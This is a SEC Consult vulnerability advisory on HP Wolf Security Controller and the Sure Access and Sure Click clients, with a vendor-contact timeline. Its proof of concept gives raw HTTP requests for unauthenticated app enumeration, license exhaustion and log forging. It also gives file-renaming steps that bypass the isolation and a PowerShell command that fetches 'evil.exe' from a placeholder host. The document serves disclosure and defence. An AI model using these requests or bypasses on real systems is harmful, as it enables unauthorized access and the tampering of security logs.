📄 HP Sure Access Enterprise / Sure Click Enterprise Missing Authentication

SEC Consult Vulnerability Lab Security Advisory < publishing date 20250429-0 >
    Combined Security Advisory for Sure Access Enterprise and Sure Click Enterprise
    =======================================================================
                  title: Multiple Vulnerabilities 
                product: HP Wolf Security Controller / HP Sure Access Enterprise /
                         HP Sure Click Enterprise
     vulnerable version: HP Wolf Security Controller 4.3.127.238 & 4.4.155.291, 
                         HP Wolf Sure Click Enterprise Client Version 4.3.11.45 with 
                         Extensionpack Sure Access Enterprise 8.0.125,
                         HP Wolf Sure Click 4.4.3.274
          fixed version: TODO
             CVE number: TODO
                 impact: High
               homepage: https://www.hp.com/us-en/security/enterprise-pc-security.html
                  found: 2022-09-15 (Sure Access) & 2023-08-18 (Sure Click)
                     by: Daniel Hirschberger (Office Bochum)
                         SEC Consult Vulnerability Lab 
    
                         An integrated part of SEC Consult, an Eviden business
                         Europe | Asia
    
                         https://www.sec-consult.com
    
    =======================================================================
    
    Vendor description:
    -------------------
    "HP Sure Access Enterprise uses hardware-enforced virtualization-based security
    to isolate critical applications running on Microsoft Windows clients. The 
    zero-trust solution is deployed on the user’s PC, beneath the operating system
    (OS) layer, where it creates a hardware-protected virtual machine (VM) that is
    completely isolated from the Windows OS. Through this innovative approach, the
    solution secures a number of key assets, including memory and CPU state, disk
    structures, keyboard input, display outputs, and network traffic.
    Even if a user’s endpoint is compromised, it won’t pose any risk to the remote
    application and the sensitive data it contains, allowing users to work securely
    on multiple remote Privileged Access Workstations (PAWs) from a single device.
    The user can only access the application through the hardware-protected VM, 
    which remains isolated from the Windows OS—and any malware that might attack it."
    
    Source: https://h20195.www2.hp.com/v2/GetDocument.aspx?docname=4AA7-6965ENW
    
    
    "HP Sure Click Enterprise stops attacks and protects your endpoints by creating
    micro–virtual machines (micro-VMs) that secure end-user tasks, from surfing the
    web to opening email and downloading attachments. High-risk tasks are completely
    isolated inside the micro-VM. When a task is closed, the micro-VM—and any threat
    it contained—is disposed of without any breach.  Sure Click Enterprise is
    powered by hardware-enforced isolation technology that uses virtualization-based
    security on the host to contain threats inside individual, disposable micro-
    VMs. This approach dramatically decreases attack surfaces, while preserving
    familiar user workflows."
    
    Source: https://h20195.www2.hp.com/v2/getpdf.aspx/4AA7-6963ENW.pdf
    
    
    Business recommendation:
    ------------------------
    The vendor does not provide a patch because according to HP, the issues are 
    configuration-related or limitations or out of scope of the products themselves. 
    See statements below.
    
    Customers must check if they are enforcing authentication with TLS Client 
    Certificates for Sure Access, Sure Click and the HP Wolf Security Controller.
    This is the intended and recommended configuration according to HP. Links to
    their configuration guidelines can be found at the bottom in the "Solution"
    section
    
    SEC Consult highly recommends to perform a thorough security review of the
    product conducted by security professionals to identify and resolve potential
    further security issues.
    
    
    General information:
    --------------------
    SEC Consult conducted penetration tests on Sure Access in 2022 and on Sure Click
    in 2023 and established a contact with HP afterwards. After several rounds of
    emails and meetings with the product development team, the scope and limitations
    of Sure Access and Sure Click were made clear. This advisory combines the result
    of those penetration tests.
    
    In summary, most of the issues we identified as a vulnerability are not in
    the scope or attacker model of Sure Access/Sure Click. Several issues can be
    prevented by correctly configuring both products, e.g., enforcing authentication
    with TLS Client Certificates, according to HP.
    
    The identified issues will be categorized into the affected product, followed by
    the classification if it is a real vulnerability or a misconfiguration.
    
    Statement from HP
    -----------------------------------
    
    HP sent us a statement which can be summarized as follows:
    
    
    Sure Click Enterprise considers the following out-of-scope:
    - Malicious users
    - Local administrators
    - Malicious servers or infrastructure/server admins
    
    Sure Access Enterprise considers the following out-of-scope:
    - Malicious users with direct access to Sure Access Enterprise Apps and
      credentials to use them
    - Malicious infrastructure/server admins
    - Service availability on the endpoint
    - Protection of resources which are not explicitly enrolled into Sure Access
      Enterprise
    
    
    Vulnerability overview/description:
    -----------------------------------
    1) HP Wolf Security Controller
    
    a) Misconfiguration
    Missing Authentication and Authorization on the deviceAPI
    
    Clients routinely contact the Security Controller server to refresh their
    policies and send device logs to it.
    Unfortunately, calling functions on the deviceAPI does neither require
    authentication nor authorization.
    Thus, clients can perform arbitrary deviceAPI actions which leads to further
    vulnerabilities.
    
    b) Vulnerability: Missing CSRF Protection
    The deviceAPI does not implement CSRF protection. This means that an
    attacker who knows the internal IP of the Security Controller can prepare a
    malicious link and trick users in the internal network to call arbitrary
    deviceAPI functions.
    
    c) Misconfiguration: Unauthorized Access to other Applications
    The Security Controller allows defining 'Applications' and assigning them to
    individual devices or device groups. These applications are mostly HTTP(S), SSH
    or RDP connections to specific hosts. When such an application is opened, a new 
    micro-VM is spawned, the requested connection is established in the micro-VM and
    the resulting UI is rendered in a separate window.
    Because the deviceAPI does neither require authentication nor authorization, an 
    attacker can fetch any application from the server and subsequently access it.
    
    d) Vulnerability: Missing Anti-Automation Protection
    Because of missing anti-automation measures an attacker can call the /register/
    endpoint of the deviceAPI repeatedly and burn through the available licenses.
    This is not an issue in itself because the product still works even if all
    licenses are used up.
    Nonetheless, in combination with the next vulnerability an attacker is able
    to generate a considerable amount of bogus logs in a short timeframe.
    
    e) Vulnerability: Log Forging
    Because of the unprotected deviceAPI an attacker can forge logs for any device.
    This is especially devastating in combination with the missing self-protection
    because an attacker can disable the Sure Access Enterprise client and forge logs
    which show that the device is still protected.
    
    
    2. HP Wolf Sure Access Enterprise Client
    a) Out of Scope: Missing Self-Protection
    A local operating system administrator account can just click on the button
    labeled 'Disable' in the GUI of the client to deactivate the protection
    altogether.
    
    b) Out of Scope: Bypassing the RDP Interception
    RDP connections which are started via mstsc.exe are usually intercepted by the
    client and opened in a micro-VM which performs the RDP connection instead. The
    user just sees the UI of the micro-VM and is asked to enter his RDP credentials.
    This can be trivially bypassed by renaming mstsc.exe.
    
    
    3. HP Wolf Sure Click Enterprise
    a) Out of Scope: Bypassable File Execution Prevention
    Each file which was downloaded through an HP Wolf virtualized browser is
    marked as untrusted and can only be executed after the file has been scanned
    for malicious code.
    This can be bypassed by downloading a file through other means, e.g., with
    powershell's Invoke-Webrequest method.
    Another way to exploit this consists of bypassing the browser virtualization
    which will be described next.
    
    b) Out of Scope: Bypassable Browser Virtualization
    HP Wolf has a hard-coded list of executable names which should be executed
    in a micro-VM. These applications get executed in HP's sandbox and only the GUI 
    is exposed to the user.
    
    By renaming the browser executable, this can be easily bypassed.
    For example by renaming firefox.exe to firefux.exe.
    
    c) Out of Scope: Inadequate Self-Protection
    Depending on the used policy, an administrator can no longer easily
    disable the protection through a button in the GUI as described in previously.
    However, he can kill the BrService.exe and BrHostSrv.exe which effectively
    disables the protection altogether.
    
    
    Proof of concept:
    -----------------
    1) HP Wolf Security Controller
    a) Missing Authentication and Authorization on the deviceAPI
    While intercepting the communication between client and server, the following
    request was observed:
    
    -------------------------------------------------------------------------------
    GET /deviceapi/protected-apps/173-176-177-184-186-188-189/ HTTP/2
    Host: <IP OF SECURITY CONTROLLER>
    Accept-Encoding: gzip, deflate
    User-Agent: HP-Sure-Click/4.3.11.45 
    -------------------------------------------------------------------------------
    
    This shows that there is no authentication and authorization check, meaning that 
    this request can be repeated by an attacker and yields the same result
    as if a valid client performed the request.
    
    
    b) Missing CSRF Protection
    >From the previous request it is also clear that there is no CSRF protection on
    the API. Thus, an attacker can craft a malicious link or webpage and trick a
    user into sending arbitrary requests to the deviceAPI.
    
    c) Unauthorized Access to other Applications
    The missing authentication and authorization checks allow an attacker to access
    arbitrary applications.
    A device fetches its allowed applications with the following request:
    
    -------------------------------------------------------------------------------
    GET /deviceapi/protected-apps/173-176-177-184-186-188-189/ HTTP/2
    Host: <IP OF SECURITY CONTROLLER>
    Accept-Encoding: gzip, deflate
    User-Agent: HP-Sure-Click/4.3.11.45 
    -------------------------------------------------------------------------------
    
    The numbers 173-176-177-184-186-188-189 correspond to internal ids of the
    applications. So this request fetches the applications with the ids 173, 176,
    177, 184, 186, 188, 189.
    
    The server answers with a JSON object which contains information about
    these applications:
    
    -------------------------------------------------------------------------------
    HTTP/2 200 OK
    [...] 
    
    {
      "apps": [
        {
          "id": 173,
          "symbolic_id": 18,
          "configuration": {
            "binary": "QVNwYwAAAAAAAAAAAAAAAAAAAAAJAAAAAwAAAAAAAAAAAAAADAAA[...]"
          }
        },
    	[...]
      ]
    }
    -------------------------------------------------------------------------------
    
    Attackers can easily extract the configuration for each existing application
    even if they should not have access to it, just by enumerating ids and sending
    the previous request.
    
    For example:
    
    -------------------------------------------------------------------------------
    GET /deviceapi/protected-apps/0-1-2-3-[...]/ HTTP/2
    Host: <IP OF SECURITY CONTROLLER>
    Accept-Encoding: gzip, deflate
    User-Agent: HP-Sure-Click/4.3.11.45 
    -------------------------------------------------------------------------------
    
    The server will respond with the configuration for each application.
    
    The "binary" part of the configuration can be base64-decoded and written to a 
    file, e.g., "decoded.bin".
    Then an attacker can use the "BrProtectedAppCmd.exe" to start the application
    just like the client does when double-clicking on an application:
    
    -------------------------------------------------------------------------------
    C:\Program Files\HP\Sure Click\ApplicationSupport\pvm\8.0.125\BrProtectedAppCmd.exe 
    start decoded.bin
    -------------------------------------------------------------------------------
    
    The following image shows an example where the AppId of an HTTPS connection to
    the HP Wolf Security Controller was guessed and accessed with this trick without
    having the needed permission:
    
    [advisory_arbitrary_apps.png]
    
    
    d) Missing Anti-Automation Protection
    The API is also missing an anti-automation protection. Therefore, an attacker
    can repeat any API call without limit. Since HP Wolf Security works on a
    per-license basis, an attacker can burn through licenses by repeatedly
    calling the /register/ endpoint.
    
    For example the following request can be repeated 100 times to use up 100
    licenses:
    
    -------------------------------------------------------------------------------
    POST /deviceapi/register/ HTTP/2
    Host: <SECURITY_CONTROLLER_IP>
    Content-Type: multipart/form-data; boundary="07DC54E11C8A7E8BCA894ACC"
    Accept-Encoding: gzip, deflate
    User-Agent: HP-Sure-Click/4.3.11.45
    Content-Length: 533
    
    
    --07DC54E11C8A7E8BCA894ACC 
    Content-Disposition: form-data; name="identifier" 
    Content-Type: application/json
    
    {
      "api_version": 12,
      "computername": "test-001",
      "domainname": "example.test",
      "fingerprint": "h",
      "oem": 1,
      "token": "",
      "user_domainname": "",
      "username": ""
    }
    
    --07DC54E11C8A7E8BCA894ACC Content-Disposition: form-data; name="version" 
    Content-Type: application/json 
    {
      "platform": 4096,
      "upgrade_code": "a",
      "version": "4.3.11.45"
    }
     
    --07DC54E11C8A7E8BCA894ACC--
    -------------------------------------------------------------------------------
    
    The following two images and show the amount of available licenses before and after
    this attack.
    
    [advisory_license_start.png]
    [advisory_license_end.png]
    
    
    e) Log Forging
    The Security Controller allows any device to send bogus data and even spoof logs
    of other clients.
    For example the following request can be used to send a log message that
    is dated in the year 2038:
    
    -------------------------------------------------------------------------------
    POST /deviceapi/log/ HTTP/2
    Host: <SECURITY_CONTROLLER_IP>
    Content-Type: multipart/form-data; boundary="B4D45404F92AA031B731E747"
    Accept-Encoding: gzip, deflate
    User-Agent: HP-Sure-Click/4.3.11.45
    Content-Length: 1003
    
    --B4D45404F92AA031B731E747 Content-Disposition: form-data; name="identifier" 
    Content-Type: application/json
    
    {
      "api_version": 12,
      "computername": "test-001",
      "domainname": "example.test",
      "fingerprint": "anything",
      "oem": 1,
      "token": "deprecated",
      "user_domainname": "example.test",
      "username": "pentest"
    }
    
    --B4D45404F92AA031B731E747
    
    Content-Disposition: form-data; name="logs"
    Content-Type: application/json
    
    [
      {
        "component": "Isolation",
        "msgtypeid_ex": 0,
        "params": {
          "msg": "Bromium restarted"
        },
        "params_ex": {},
        "severity": 6,
        "source": 257,
        "time": 2146777200,
        "version": "4.3.11.45"
      }
    ]
    
    --B4D45404F92AA031B731E747
    Content-Disposition: form-data; name="version"
    Content-Type: application/json
    
    {
      "platform": 4096,
      "upgrade_code": "anything",
      "version": "4.3.11.45"
    }
    
    --B4D45404F92AA031B731E747--
    
    -------------------------------------------------------------------------------
    
    A faked log message can be seen in the following image:
    
    [advisory_log_forging.png]
    
    
    This allows faking logs and combined with the missing anti-automation an
    attacker can create a huge amount of noise. This will render the log unusable.
    
    
    2) HP Wolf Sure Access Enterprise Client
    a) Missing Self-Protection
    The GUI contains a button labeled 'Disable' which local administrators
    can click to disable the client.
    The following image shows this GUI and highlights the button:
    
    [advisory_deactivate.png]
    
    
    b) Bypassing the RDP Interception
    There is a registry key 
    "HKLM\SOFTWARE\HP\Security Update Service\Policies\Untrusted.ProcessNeedsProtectedAppHooking"
    with the value "mstsc.exe,RDCMan.exe,ASGRD.exe,mRemoteNG.exe".
    This shows that the client only matches on the file names of the executables.
    Therefore one can copy these executables from the system folder to another
    location and rename them to bypass the RDP interception.
    
    For mstsc.exe the following steps have to be performed:
    1. Copy "C:\Windows\System32\mstsc.exe" to the Desktop.
    2. Rename it to "mymstsc.exe".
    3. Search for "mstsc.exe.mui" in C:\Windows\System32. This should return a
        folder with your local language identifier, e.g., /en-GB/ or /de-DE/ which
        contains the "mstsc.exe.mui" file.
    4. Create this language folder next to your "mymstsc.exe".
    5. Copy the "mstsc.exe.mui" from the language folder in System32 to the newly
        created one and rename it, so the name of the .exe matches the name of the
        .mui file, e.g., "mymstsc.exe.mui".
    6. Double-click on "mymstsc.exe" and the usual RDP GUI will start. Now you can
    	RDP to another machine without the RDP interception.
    
    3) HP Wolf Sure Click Enterprise
    a) Bypassable File Execution Prevention
    All files which are downloaded through an application which is virtualized by HP
    Wolf Security (mostly browsers), are flagged as untrusted. When a user tries to
    open or execute the file, HP Wolf scans the file and if it is deemed trustworthy
    a user can remove the flag and open/execute it.
    
    Unfortunately, only files which are acquired via virtualized browsers are
    flagged. Therefore, an attacker can easily bypass this protection by using
    alternative download options, for example a powershell command:
    
    > Invoke-WebRequest -Uri https://example.test/evil.exe -OutFile evil.exe
    
    This file does not possess the flag and can directly be opened/executed.
    Another way to bypass this protection is based on bypassing the browser
    virtualization feature.
    
    
    b) Bypassable Browser Virtualization
    Similar to the RDP Interception bypass described earlier, the Sure Click 
    client has a blacklist of applications which should be spawnedin a micro-VM.
    
    <working_browser_virtualization.png>
    
    Therefore, the same trick can be reused to bypass this as well.
    For example, the "firefox.exe" executable is part of this blacklist.
    By copying the "C:\Program Files\Mozilla Firefox\" to the user's desktop and
    renaming the contained "firefox.exe" to "firefux.exe" this can be bypassed.
    
    <bypassed_browser_virtualization.png>
    
    
    c) Inadequate Self-Protection
    As an improvement to the situation, the self-protection can no longer be
    easily disabled in the GUI if a strong policy is applied.
    However, by killing the services "BrService.exe" and "BrHostSrv.exe" a local
    administrator can still crash and therefore bypass the protection.
    
    <sure_click_disabled.png>
    
    
    Vulnerable / tested versions:
    -----------------------------
    The following product versions have been tested in September 2022:
    * HP Wolf Security Controller 4.3.127.238
    * HP Sure Click Enterprise Client Version 4.3.11.45 with
      Extensionpack Sure Access Enterprise 8.0.125 
    
    The following product versions have been tested in August 2023:
    at the time of the test:
    * HP Wolf Security Controller 4.4.155.291
    * HP Wolf Sure Click 4.4.3.274
    
    Vendor contact timeline:
    ------------------------
    The vulnerability was identified in September 2022 and initially a third
    party did the coordination, but information to HP got lost and we were
    re-establishing our responsible disclosure process later again.
    
    2023-09-21: Customer gives permission to contact vendor
    2023-10-11: Sending the advisories to HP
    2023-10-13: Senior Manager of HP Germany contacts us
    2023-10-18: Same Senior Manager sends us feedback from the Product Owner
    2023-12-01: Same Senior Manager requests a meeting between SEC Consult and the
                Product Owner at HP
    2024-01-30: Meeting with Product Owner and Development Team of HP;
                due to time constraints we agree to hold a second meeting
    2024-03-13: Second Meeting with Product Owner and Development Team
    2024-03-26: Updating the advisory with the statements of the Product Owner
    2024-05-21: Asking for a status update.
    2024-05-22: Vendor: currently working internally; will ask the product team
                for an update
    2024-07-18: Asking for a status update.
    2024-07-26: Vendor will get back to us at the latest 2024-08-12 with a detailed
                response
    2024-08-08: We receive a detailed email clarifying the scope of the products and
                their opinion on the issues (e.g. misconfiguration)
    2024-10-09: We agree that most of the issues could be misconfigurations, provide
                our view and declare our intent to publish an advisory which clearly
                mentions the possibility of misconfigurations.
                Regarding CSRF clarify the risks again.
                Vendor asks where the advisory will be published.
    2024-10-11: We inform the vendor that the advisory will be published
                at https://sec-consult.com/vulnerability-lab/, the Full
                Disclosure Mailing list and we will link to it via Twitter/X and 
                LinkedIn.
    2024-10-21: We merge the two existing HP Wolf Security advisories into one,
                add 'Statements from HP' verbatim and prefix each finding with
                the category, e.g. Misconfiguration, Out of Scope, Vulnerability.
                We send the updated advisory to the vendor and ask for a link
                to their best practices regarding configuration.
    2024-11-12: We ask for a status update and state that we want to publish
                soon.
    2024-11-18: Status: The product team is working on it.
    2025-01-13: We are asking for a status update and due to the lengthy
                disclosure process we set a deadline for publication for
                mid-february at the latest.
    2025-02-05: HP sends us a list of documentation we can link to in the
                advisory.
    2025-02-06: We ask if there are patched versions we can link to in the
                advisory.
    2025-03-19: ^
    2025-04-16: We communicate that we want to publish on 2025-04-28 and provide
                them with the latest version of this advisory.
    2025-04-29: Advisory was published.
    
    Solution:
    ---------
    Customers have to check if their installation is configured according to HP's
    best practices:
    
    https://enterprisesecurity.hp.com/s/documentation
    
    HP Sure Click Enterprise:
    Solution Brief: https://h20195.www2.hp.com/v2/getpdf.aspx/4AA7-7470ENUS.pdf
    Data Sheet: https://h20195.www2.hp.com/v2/getpdf.aspx/4AA7-6963ENW.pdf
    Documentation: https://documentation.bromium.com/4_4/Release%20Notes/HP%20Sure%20Click%20Enterprise%204.4%20Release%208%20Update%201%20-%20Release%20Notes.pdf
    
    HP Sure Access Enterprise:
    Solution Brief : https://h20195.www2.hp.com/v2/GetDocument.aspx?docname=4AA8-1466ENW
    Data Sheet: https://h20195.www2.hp.com/v2/GetDocument.aspx?docname=4AA8-1110ENW
    Documentation: https://documentation.bromium.com/4_4/Release%20Notes/HP%20Sure%20Access%20Enterprise%208.1%20Release%204%20Release%20Notes.pdf
    Deployment Guide: https://documentation.bromium.com/8_1/Release%20Notes/HP%20Sure%20Access%20Enterprise%208.1%20Release%203%20-%20Deployment%20Guide.pdf
    
    
    Workaround:
    -----------
    None   
    
    
    Advisory URL:
    -------------
    https://sec-consult.com/vulnerability-lab/
    
    
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    
    SEC Consult Vulnerability Lab 
    An integrated part of SEC Consult, an Eviden business
    Europe | Asia
    
    About SEC Consult Vulnerability Lab
    The SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an
    Eviden business. It ensures the continued knowledge gain of SEC Consult in the
    field of network and application security to stay ahead of the attacker. The
    SEC Consult Vulnerability Lab supports high-quality penetration testing and
    the evaluation of new offensive and defensive technologies for our customers.
    Hence our customers obtain the most current information about vulnerabilities
    and valid recommendation about the risk profile of new technologies.
    
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    Interested to work with the experts of SEC Consult?
    Send us your application https://sec-consult.com/career/
    
    Interested in improving your cyber security with the experts of SEC Consult?
    Contact our local offices https://sec-consult.com/contact/
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    
    Mail: security-research at sec-consult dot com
    Web: https://www.sec-consult.com
    Blog: https://blog.sec-consult.com
    Twitter: https://twitter.com/sec_consult
    
    EOF Daniel Hirschberger / @2025